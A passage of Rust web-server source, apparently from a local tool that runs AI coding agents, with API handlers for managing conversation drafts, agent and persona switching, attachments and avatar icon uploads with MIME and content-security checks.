8962            Ok(None) => {
8963                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8964                if live.queued.get(&id).copied().unwrap_or(0) != observed {
8965                    continue;
8966                }
8967                turn.take()
8968                    .expect("held for the whole loop until released here")
8969                    .release(&mut live);
8970                break;
8971            }
8972            Err(e) => {
8973                tracing::warn!("talk {id} could not drain queued text: {e:#}");
8974                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8975                turn.take()
8976                    .expect("held for the whole loop until released here")
8977                    .release(&mut live);
8978                break;
8979            }
8980        };
8981        if let Some(started) = started.take() {
8982            let _ = started.send(true);
8983        }
8984        let responded = match turn.as_ref() {
8985            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
8986            None => Err(anyhow::anyhow!("the turn guard was released")),
8987        };
8988        if let Err(e) = responded {
8989            tracing::warn!("talk {id} turn failed: {e:#}");
8990        }
8991    }
8992    drop(turn);
8993    if let Some(started) = started {
8994        let _ = started.send(false);
8995    }
8996}
8997
8998/// Clear a queued draft only if it remains exactly the one the caller saw.
8999async fn talk_pending_clear(
9000    State(ui): State<Arc<Ui>>,
9001    Path(id): Path<String>,
9002    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
9003) -> ApiResult<Json<TalkView>> {
9004    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9005    blocking(move || {
9006        let id = resolve_talk(&ui.talks, &id)?;
9007        let mut talk = ui.talks.get(&id)?;
9008        if !talk.status.open() {
9009            return Err(ApiError::conflict(format!(
9010                "talk {} is {} and takes no more turns",
9011                talk.short(),
9012                talk.status.as_str()
9013            )));
9014        }
9015        if !talk::clear_pending_if_matches(
9016            &mut talk,
9017            &ui.talks,
9018            &body.expected_text,
9019            &body.expected_attachments,
9020        )? {
9021            return Err(ApiError::conflict(
9022                "queued message changed; reload it before clearing",
9023            ));
9024        }
9025        let thinking = ui.is_thinking(&talk.id);
9026        Ok(Json(TalkView::new(talk, thinking, &ui)))
9027    })
9028    .await
9029}
9030
9031/// Atomically edit a queued draft's text while preserving its attachments.
9032/// The snapshot fields make a concurrent queue or drain a conflict rather
9033/// than silently discarding either message.
9034async fn talk_pending_edit(
9035    State(ui): State<Arc<Ui>>,
9036    Path(id): Path<String>,
9037    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
9038) -> ApiResult<Json<TalkView>> {
9039    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9040    let (view, reclaimed) = blocking({
9041        let ui = Arc::clone(&ui);
9042        move || {
9043            let id = resolve_talk(&ui.talks, &id)?;
9044            let mut talk = ui.talks.get(&id)?;
9045            if !talk.status.open() {
9046                return Err(ApiError::conflict(format!(
9047                    "talk {} is {} and takes no more turns",
9048                    talk.short(),
9049                    talk.status.as_str()
9050                )));
9051            }
9052            if !talk::edit_pending_message(
9053                &mut talk,
9054                &ui.talks,
9055                &body.text,
9056                &body.expected_text,
9057                &body.expected_attachments,
9058                body.message,
9059            )? {
9060                return Err(ApiError::conflict(
9061                    "queued message changed; reload it before editing",
9062                ));
9063            }
9064            let claim = match ui.begin_queued_talk_turn(&id)? {
9065                Some(turn_guard) => {
9066                    let (cfg, _) = Config::discover(&talk.repo, None)?;
9067                    Some((talk.clone(), cfg, id.clone(), turn_guard))
9068                }
9069                None => None,
9070            };
9071            let thinking = ui.is_thinking(&id);
9072            Ok((TalkView::new(talk, thinking, &ui), claim))
9073        }
9074    })
9075    .await?;
9076    if let Some((talk, cfg, id, turn_guard)) = reclaimed {
9077        let talks = ui.talks.clone();
9078        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9079    }
9080    Ok(Json(view))
9081}
9082
9083/// The 409 for a talk that takes no more turns.
9084fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
9085    if talk.status.open() {
9086        return Ok(());
9087    }
9088    Err(ApiError::conflict(format!(
9089        "talk {} is {} and takes no more turns",
9090        talk.short(),
9091        talk.status.as_str()
9092    )))
9093}
9094
9095/// The body of `POST /api/talks/{id}/agent`.
9096#[derive(Debug, Deserialize)]
9097struct TalkAgent {
9098    agent: String,
9099}
9100
9101/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
9102/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
9103/// start a turn on the old session between the check and the write; one that
9104/// arrives in that window finds the talk busy and becomes a draft.
9105async fn talk_agent(
9106    State(ui): State<Arc<Ui>>,
9107    Path(id): Path<String>,
9108    Json(body): Json<TalkAgent>,
9109) -> ApiResult<Json<TalkView>> {
9110    let id = {
9111        let ui = Arc::clone(&ui);
9112        blocking(move || resolve_talk(&ui.talks, &id)).await?
9113    };
9114    let repo = {
9115        let ui = Arc::clone(&ui);
9116        let id = id.clone();
9117        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9118    };
9119    let cfg = config_for(&repo).await?;
9120    // Refuse before taking the claim; see `talk_implementers`.
9121    {
9122        let ui = Arc::clone(&ui);
9123        let id = id.clone();
9124        let cfg = cfg.clone();
9125        let wanted = body.agent.clone();
9126        blocking(move || {
9127            agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
9128                .map_err(ApiError::bad_request_from)?;
9129            refuse_if_closed(&ui.talks.get(&id)?)
9130        })
9131        .await?;
9132    }
9133    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9134        return Err(ApiError::conflict(
9135            "a talk turn is running; change the agent once it has answered",
9136        ));
9137    };
9138    let switched = {
9139        let ui = Arc::clone(&ui);
9140        let id = id.clone();
9141        let cfg = cfg.clone();
9142        blocking(move || {
9143            let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
9144                .map_err(ApiError::bad_request_from)?;
9145            let mut talk = ui.talks.get(&id)?;
9146            if !talk.status.open() {
9147                return Err(ApiError::conflict(format!(
9148                    "talk {} is {} and takes no more turns",
9149                    talk.short(),
9150                    talk.status.as_str()
9151                )));
9152            }
9153            talk::switch_agent(&mut talk, &ui.talks, &spec)?;
9154            Ok(talk)
9155        })
9156        .await
9157    };
9158    // A `/say` that landed while this held the claim saw the talk busy and
9159    // left a durable draft, trusting the claim's owner to drain it. So the
9160    // claim is settled whatever the outcome. Release an empty draft's claim
9161    // before replying; queued drafts continue independently of the handler.
9162    let observed = ui.queued_generation(&id);
9163    let fresh = {
9164        let ui = Arc::clone(&ui);
9165        let id = id.clone();
9166        blocking(move || Ok(ui.talks.get(&id)?)).await
9167    };
9168    let draining = match fresh {
9169        Ok(talk) => {
9170            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9171        }
9172        Err(_) => false,
9173    };
9174    let talk = switched?;
9175    Ok(Json(TalkView::new(talk, draining, &ui)))
9176}
9177
9178/// The body of `POST /api/talks/{id}/persona`.
9179#[derive(Debug, Deserialize)]
9180struct TalkPersona {
9181    persona: String,
9182}
9183
9184/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
9185/// like [`talk_agent`]: the turn guard is held for the change and always handed
9186/// to `drain_loop`, so a draft left meanwhile is not stranded.
9187async fn talk_persona(
9188    State(ui): State<Arc<Ui>>,
9189    Path(id): Path<String>,
9190    Json(body): Json<TalkPersona>,
9191) -> ApiResult<Json<TalkView>> {
9192    let id = {
9193        let ui = Arc::clone(&ui);
9194        blocking(move || resolve_talk(&ui.talks, &id)).await?
9195    };
9196    let repo = {
9197        let ui = Arc::clone(&ui);
9198        let id = id.clone();
9199        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9200    };
9201    let cfg = config_for(&repo).await?;
9202    // Refuse before taking the claim; see `talk_implementers`.
9203    {
9204        let ui = Arc::clone(&ui);
9205        let id = id.clone();
9206        let cfg = cfg.clone();
9207        let wanted = body.persona.clone();
9208        blocking(move || {
9209            if persona::find(&cfg.talk.personas, &wanted).is_none() {
9210                return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
9211            }
9212            refuse_if_closed(&ui.talks.get(&id)?)
9213        })
9214        .await?;
9215    }
9216    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9217        return Err(ApiError::conflict(
9218            "a talk turn is running; change the persona once it has answered",
9219        ));
9220    };
9221    let switched = {
9222        let ui = Arc::clone(&ui);
9223        let id = id.clone();
9224        let cfg = cfg.clone();
9225        blocking(move || {
9226            let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
9227                return Err(ApiError::bad_request(format!(
9228                    "unknown persona `{}`",
9229                    body.persona
9230                )));
9231            };
9232            let mut talk = ui.talks.get(&id)?;
9233            if !talk.status.open() {
9234                return Err(ApiError::conflict(format!(
9235                    "talk {} is {} and takes no more turns",
9236                    talk.short(),
9237                    talk.status.as_str()
9238                )));
9239            }
9240            talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
9241            Ok(talk)
9242        })
9243        .await
9244    };
9245    // As in `talk_agent`: settle the claim before replying, even on refusal.
9246    let observed = ui.queued_generation(&id);
9247    let fresh = {
9248        let ui = Arc::clone(&ui);
9249        let id = id.clone();
9250        blocking(move || Ok(ui.talks.get(&id)?)).await
9251    };
9252    let draining = match fresh {
9253        Ok(talk) => {
9254            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9255        }
9256        Err(_) => false,
9257    };
9258    let talk = switched?;
9259    Ok(Json(TalkView::new(talk, draining, &ui)))
9260}
9261
9262/// The body of `POST /api/talks/{id}/implementers`.
9263#[derive(Debug, Deserialize)]
9264struct TalkImplementers {
9265    implementers: u8,
9266}
9267
9268/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
9269/// like [`talk_agent`]: the turn guard is held for the change and always handed
9270/// to `drain_loop`, so a draft left meanwhile is not stranded.
9271async fn talk_implementers(
9272    State(ui): State<Arc<Ui>>,
9273    Path(id): Path<String>,
9274    Json(body): Json<TalkImplementers>,
9275) -> ApiResult<Json<TalkView>> {
9276    let id = {
9277        let ui = Arc::clone(&ui);
9278        blocking(move || resolve_talk(&ui.talks, &id)).await?
9279    };
9280    let repo = {
9281        let ui = Arc::clone(&ui);
9282        let id = id.clone();
9283        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9284    };
9285    let cfg = config_for(&repo).await?;
9286    // Refuse a request that cannot succeed before taking the claim: a claim
9287    // taken for it is handed to `drain_loop`, which holds the talk busy for a
9288    // moment, so a refusal would make the next request see "busy" instead of
9289    // its own answer. The checks after the claim stay the ones that decide.
9290    {
9291        let ui = Arc::clone(&ui);
9292        let id = id.clone();
9293        let cfg = cfg.clone();
9294        let wanted = body.implementers;
9295        blocking(move || {
9296            talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
9297            refuse_if_closed(&ui.talks.get(&id)?)
9298        })
9299        .await?;
9300    }
9301    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9302        return Err(ApiError::conflict(
9303            "a talk turn is running; change the implementers once it has answered",
9304        ));
9305    };
9306    let switched = {
9307        let ui = Arc::clone(&ui);
9308        let id = id.clone();
9309        let cfg = cfg.clone();
9310        blocking(move || {
9311            let chosen =
9312                talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
9313            let mut talk = ui.talks.get(&id)?;
9314            if !talk.status.open() {
9315                return Err(ApiError::conflict(format!(
9316                    "talk {} is {} and takes no more turns",
9317                    talk.short(),
9318                    talk.status.as_str()
9319                )));
9320            }
9321            talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
9322            Ok(talk)
9323        })
9324        .await
9325    };
9326    // As in `talk_agent`: settle the claim before replying, even on refusal.
9327    let observed = ui.queued_generation(&id);
9328    let fresh = {
9329        let ui = Arc::clone(&ui);
9330        let id = id.clone();
9331        blocking(move || Ok(ui.talks.get(&id)?)).await
9332    };
9333    let draining = match fresh {
9334        Ok(talk) => {
9335            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9336        }
9337        Err(_) => false,
9338    };
9339    let talk = switched?;
9340    Ok(Json(TalkView::new(talk, draining, &ui)))
9341}
9342
9343/// `POST /api/talks/{id}/close`.
9344async fn talk_close(
9345    State(ui): State<Arc<Ui>>,
9346    Path(id): Path<String>,
9347) -> ApiResult<Json<TalkView>> {
9348    blocking(move || {
9349        let id = resolve_talk(&ui.talks, &id)?;
9350        let mut talk = ui.talks.get(&id)?;
9351        talk::close(&mut talk, &ui.talks)?;
9352        let thinking = ui.is_thinking(&talk.id);
9353        Ok(Json(TalkView::new(talk, thinking, &ui)))
9354    })
9355    .await
9356}
9357
9358/// `POST /api/talks/{id}/reopen`.
9359async fn talk_reopen(
9360    State(ui): State<Arc<Ui>>,
9361    Path(id): Path<String>,
9362) -> ApiResult<Json<TalkView>> {
9363    blocking(move || {
9364        let id = resolve_talk(&ui.talks, &id)?;
9365        let mut talk = ui.talks.get(&id)?;
9366        talk::reopen(&mut talk, &ui.talks)?;
9367        let thinking = ui.is_thinking(&talk.id);
9368        Ok(Json(TalkView::new(talk, thinking, &ui)))
9369    })
9370    .await
9371}
9372
9373/// `DELETE /api/talks/{id}`.
9374///
9375/// Removes the conversation's record and artifacts outright, unlike
9376/// [`talk_close`] which keeps the record as history. A turn already in
9377/// flight is not refused here the way [`run_delete`] refuses a live run:
9378/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
9379/// under [`Talks::guard`], that the record they are about to write back is
9380/// still there, so a delete racing a turn is safe without this route having
9381/// to know a turn is running at all.
9382async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
9383    blocking(move || {
9384        let id = resolve_talk(&ui.talks, &id)?;
9385        ui.talks.remove(&id)?;
9386        Ok(StatusCode::NO_CONTENT)
9387    })
9388    .await
9389}
9390
9391fn talk_ids(root: &FsPath) -> Vec<String> {
9392    std::fs::read_dir(root)
9393        .into_iter()
9394        .flatten()
9395        .flatten()
9396        .filter_map(|e| {
9397            let path = e.path();
9398            if path.extension().is_some_and(|ext| ext == "json") {
9399                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
9400            } else {
9401                None
9402            }
9403        })
9404        .collect()
9405}
9406
9407/// Expand an id or short id to exactly one talk id.
9408fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
9409    if plain_record_id(id) && store.path_of(id).is_file() {
9410        return Ok(id.to_owned());
9411    }
9412    pick(talk_ids(store.root()), id, "talk")
9413}
9414
9415/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
9416/// future `talk-say`.
9417async fn talk_attachment_post(
9418    State(ui): State<Arc<Ui>>,
9419    Path(id): Path<String>,
9420    headers: HeaderMap,
9421    body: Bytes,
9422) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
9423    let mime = validate_attachment(&headers, &body)?;
9424    let name = filename_header(&headers);
9425    let data = body.to_vec();
9426    blocking(move || {
9427        let id = resolve_talk(&ui.talks, &id)?;
9428        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
9429        Ok((StatusCode::CREATED, Json(att)))
9430    })
9431    .await
9432}
9433
9434/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
9435/// `<img>` tag in the transcript.
9436async fn talk_attachment_get(
9437    State(ui): State<Arc<Ui>>,
9438    Path((id, att)): Path<(String, String)>,
9439) -> ApiResult<Response> {
9440    blocking(move || {
9441        let id = resolve_talk(&ui.talks, &id)?;
9442        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
9443            return Err(ApiError::not_found(format!(
9444                "talk {id} has no attachment `{att}`"
9445            )));
9446        };
9447        Ok(attachment_response(&meta.mime, data))
9448    })
9449    .await
9450}
9451
9452/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
9453/// the icon setting, so changing it changes the URL.
9454fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
9455    let id = avatar_encode(&p.id);
9456    format!(
9457        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
9458        persona_icon::fingerprint(
9459            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
9460        )
9461    )
9462}
9463
9464#[derive(Debug, Default, Deserialize)]
9465struct AvatarQuery {
9466    persona: Option<String>,
9467    /// Set by the page after the first load failed: skip the `icon`.
9468    builtin: Option<String>,
9469}
9470
9471/// Served with every built-in avatar: it is an image, so nothing else may run.
9472const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
9473
9474fn builtin_avatar(id: &str) -> Response {
9475    svg_avatar(persona_icon::builtin_svg(id))
9476}
9477
9478async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
9479    raster_or_builtin(
9480        read_icon_file(&avatar_setting_path(&ui.home, None))
9481            .filter(|_| q.builtin.is_none())
9482            .as_deref(),
9483        persona_icon::operator_svg(),
9484    )
9485}
9486
9487fn svg_avatar(svg: &'static str) -> Response {
9488    (
9489        [
9490            (header::CONTENT_TYPE, "image/svg+xml"),
9491            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
9492            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
9493            (header::CACHE_CONTROL, "no-cache"),
9494        ],
9495        svg,
9496    )
9497        .into_response()
9498}
9499
9500fn avatar_encode(value: &str) -> String {
9501    value
9502        .bytes()
9503        .map(|b| {
9504            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
9505                char::from(b).to_string()
9506            } else {
9507                format!("%{b:02X}")
9508            }
9509        })
9510        .collect()
9511}
9512
9513// Display-only overrides live outside configuration and conversation records.
9514fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
9515    let Some(id) = persona else {
9516        return home.join("avatars/operator.data");
9517    };
9518    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
9519    let mut path = home.join("avatars/personas");
9520    for chunk in encoded.as_bytes().chunks(100) {
9521        path.push(std::str::from_utf8(chunk).expect("hex"));
9522    }
9523    path.join("icon.data")
9524}
9525
9526fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
9527    match read_icon_file(&avatar_setting_path(home, Some(id))) {
9528        Some(value) if value == "builtin" => Some(String::new()),
9529        Some(value) => Some(value),
9530        None => configured.map(str::to_owned),
9531    }
9532}
9533
9534fn operator_icon_url(home: &FsPath) -> String {
9535    format!(
9536        "/avatars/operator.svg?v={}",
9537        persona_icon::fingerprint(
9538            read_icon_file(&avatar_setting_path(home, None))
9539                .as_deref()
9540                .or(Some(persona_icon::operator_svg()))
9541        )
9542    )
9543}
9544
9545fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
9546    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
9547        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9548            attachment_response(mime, bytes)
9549        }
9550        _ => svg_avatar(builtin),
9551    };
9552    response
9553        .headers_mut()
9554        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
9555    response
9556}
9557
9558#[derive(Default, Deserialize)]
9559struct AvatarSettingsQuery {
9560    repo: Option<PathBuf>,
9561    persona: Option<String>,
9562    builtin: Option<String>,
9563    inherit: Option<String>,
9564}
9565
9566fn avatar_settings_specs(
9567    ui: &Ui,
9568    repo: Option<PathBuf>,
9569) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
9570    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
9571    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
9572        .map(|cfg| cfg.talk.personas)
9573        .unwrap_or_default();
9574    Ok((repo, specs))
9575}
9576
9577fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
9578    let Ok(entries) = std::fs::read_dir(path) else {
9579        return;
9580    };
9581    for entry in entries.flatten() {
9582        let name = entry.file_name().to_string_lossy().into_owned();
9583        if name == "icon.data" {
9584            let bytes: Option<Vec<u8>> = prefix
9585                .as_bytes()
9586                .chunks(2)
9587                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
9588                .collect();
9589            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
9590                out.push(id);
9591            }
9592        } else if name.len() <= 100
9593            && !name.is_empty()
9594            && name.bytes().all(|b| b.is_ascii_hexdigit())
9595            && entry.file_type().is_ok_and(|t| t.is_dir())
9596        {
9597            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
9598        }
9599    }
9600}
9601
9602async fn avatar_settings_get(
9603    State(ui): State<Arc<Ui>>,
9604    Query(q): Query<AvatarSettingsQuery>,
9605) -> ApiResult<Json<serde_json::Value>> {
9606    blocking(move || {
9607        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
9608        let mut catalog = persona::catalog(&specs);
9609        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
9610        let mut saved = Vec::new();
9611        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
9612        for id in saved {
9613            if !catalog.iter().any(|p| p.id == id) {
9614                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
9615            }
9616        }
9617        let personas: Vec<_> = catalog.iter().map(|p| {
9618            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
9619            let override_state = match saved.as_deref() {
9620                Some("builtin") => "builtin",
9621                Some(_) => "custom",
9622                None => "inherit",
9623            };
9624            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
9625            serde_json::json!({"id":p.id,"name":p.name,
9626                "override_state":override_state,"has_config_icon":p.icon.is_some(),
9627                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
9628                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
9629        }).collect();
9630        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
9631    }).await
9632}
9633
9634async fn settings_persona_avatar(
9635    State(ui): State<Arc<Ui>>,
9636    Query(q): Query<AvatarSettingsQuery>,
9637) -> ApiResult<Response> {
9638    blocking(move || {
9639        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
9640        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
9641        let found = persona::find(&specs, id);
9642        let icon =
9643            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
9644        Ok(raster_or_builtin(
9645            icon.as_deref().filter(|_| q.builtin.is_none()),
9646            persona_icon::builtin_svg(id),
9647        ))
9648    })
9649    .await
9650}
9651
9652fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
9653    if q.persona
9654        .as_ref()
9655        .is_some_and(|p| p.is_empty() || p.len() > 4096)
9656    {
9657        return Err(ApiError::bad_request("invalid persona id"));
9658    }
9659    Ok(())
9660}
9661
9662async fn avatar_settings_put(
9663    State(ui): State<Arc<Ui>>,
9664    Query(q): Query<AvatarSettingsQuery>,
9665    Json(upload): Json<MagiIconUpload>,
9666) -> ApiResult<Json<serde_json::Value>> {
9667    blocking(move || {
9668        validate_avatar_target(&q)?;
9669        save_icon_file(
9670            &avatar_setting_path(&ui.home, q.persona.as_deref()),
9671            &upload.icon,
9672        )
9673        .map_err(ApiError::bad_request_from)?;
9674        Ok(Json(serde_json::json!({"saved":true})))
9675    })
9676    .await
9677}
9678
9679async fn avatar_settings_delete(
9680    State(ui): State<Arc<Ui>>,
9681    Query(q): Query<AvatarSettingsQuery>,
9682) -> ApiResult<Json<serde_json::Value>> {
9683    blocking(move || {
9684        validate_avatar_target(&q)?;
9685        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
9686        if q.persona.is_some() && q.inherit.is_none() {
9687            atomic_icon_write(&path, "builtin")?;
9688        } else {
9689            match std::fs::remove_file(path) {
9690                Ok(()) => (),
9691                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
9692                Err(e) => return Err(anyhow::Error::from(e).into()),
9693            }
9694        }
9695        Ok(Json(serde_json::json!({"saved":true})))
9696    })
9697    .await
9698}
9699
9700// The global MAGI icon is deliberately independent of repository configuration.
9701fn magi_icon_path(home: &FsPath) -> PathBuf {
9702    home.join("magi-icon.data")
9703}
9704
9705fn read_magi_icon(home: &FsPath) -> Option<String> {
9706    read_icon_file(&magi_icon_path(home))
9707}
9708
9709fn read_icon_file(path: &FsPath) -> Option<String> {
9710    let metadata = std::fs::metadata(path).ok()?;
9711    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
9712        return None;
9713    }
9714    let file = std::fs::File::open(path).ok()?;
9715    use std::io::Read;
9716    let mut text = String::new();
9717    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
9718        .read_to_string(&mut text)
9719        .ok()?;
9720    if text.len() > persona_icon::ICON_MAX_BYTES {
9721        return None;
9722    }
9723    if text == "builtin" {
9724        return Some(text);
9725    }
9726    validate_uploaded_icon(&text).ok()?;
9727    Some(text)
9728}
9729
9730fn magi_icon_url(home: &FsPath) -> String {
9731    format!(
9732        "/avatars/magi?v={}",
9733        persona_icon::fingerprint(read_magi_icon(home).as_deref())
9734    )
9735}
9736
9737async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
9738    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
9739}
9740
9741#[derive(Deserialize)]
9742struct MagiIconUpload {
9743    icon: String,
9744}
9745
9746fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
9747    save_icon_file(&magi_icon_path(home), icon)
9748}
9749
9750fn validate_uploaded_icon(icon: &str) -> Result<()> {
9751    if !icon.starts_with("data:") {
9752        anyhow::bail!("upload a raster image");
9753    }
9754    let (mime, bytes) = persona_icon::load(icon)?;
9755    if sniffed_mime(&bytes) != Some(mime) {
9756        anyhow::bail!("image content does not match its type");
9757    }
9758    Ok(())
9759}
9760
9761fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
9762    validate_uploaded_icon(icon)?;
9763    atomic_icon_write(path, icon)
9764}
9765
9766fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
9767    let home = path.parent().expect("icon parent");
9768    std::fs::create_dir_all(home)?;
9769    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
9770    let temp = home.join(format!(".magi-icon-{token}.tmp"));
9771    let result = (|| -> Result<()> {
9772        use std::io::Write;
9773        let mut file = std::fs::OpenOptions::new()
9774            .write(true)
9775            .create_new(true)
9776            .open(&temp)?;
9777        file.write_all(icon.as_bytes())?;
9778        file.sync_all()?;
9779        std::fs::rename(&temp, path)?;
9780        Ok(())
9781    })();
9782    let _ = std::fs::remove_file(temp);
9783    result?;
9784    Ok(())
9785}
9786
9787async fn magi_icon_put(
9788    State(ui): State<Arc<Ui>>,
9789    Json(upload): Json<MagiIconUpload>,
9790) -> ApiResult<Json<serde_json::Value>> {
9791    blocking(move || {
9792        if !upload.icon.starts_with("data:") {
9793            return Err(ApiError::bad_request("upload a raster image"));
9794        }
9795        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
9796        if sniffed_mime(&bytes) != Some(mime) {
9797            return Err(ApiError::bad_request(
9798                "image content does not match its type",
9799            ));
9800        }
9801        save_magi_icon(&ui.home, &upload.icon)?;
9802        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
9803    })
9804    .await
9805}
9806
9807async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
9808    blocking(move || {
9809        match std::fs::remove_file(magi_icon_path(&ui.home)) {
9810            Ok(()) => (),
9811            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
9812            Err(e) => return Err(anyhow::Error::from(e).into()),
9813        }
9814        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
9815    })
9816    .await
9817}
9818
9819async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
9820    let icon = (q.builtin.is_none())
9821        .then(|| read_magi_icon(&ui.home))
9822        .flatten();
9823    let mut response = match icon
9824        .as_deref()
9825        .and_then(|icon| persona_icon::load(icon).ok())
9826    {
9827        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9828            attachment_response(mime, bytes)
9829        }
9830        _ => svg_avatar(persona_icon::magi_svg()),
9831    };
9832    response
9833        .headers_mut()
9834        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
9835    response
9836}
9837
9838/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
9839/// operator's raster `icon` when it resolves and its bytes agree with its
9840/// type, the built-in SVG otherwise. Display only; every failure is a warning
9841/// and the built-in avatar, never an error response.
9842async fn talk_avatar(
9843    State(ui): State<Arc<Ui>>,
9844    Path(id): Path<String>,
9845    Query(q): Query<AvatarQuery>,
9846) -> ApiResult<Response> {
9847    blocking(move || {
9848        let id = resolve_talk(&ui.talks, &id)?;
9849        let talk = ui.talks.get(&id)?;
9850        let wanted = q
9851            .persona
9852            .as_deref()
9853            .map(str::trim)
9854            .filter(|p| !p.is_empty())
9855            .unwrap_or(&talk.persona)
9856            .to_owned();
9857        let specs = match Config::discover(&talk.repo, None) {
9858            Ok((cfg, _)) => cfg.talk.personas,
9859            Err(e) => {
9860                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
9861                Vec::new()
9862            }
9863        };
9864        let found = persona::find(&specs, &wanted);
9865        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
9866        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
9867        let icon = effective_persona_icon(
9868            &ui.home,
9869            &wanted,
9870            found.as_ref().and_then(|p| p.icon.as_deref()),
9871        );
9872        if found.is_none() && icon.is_none() {
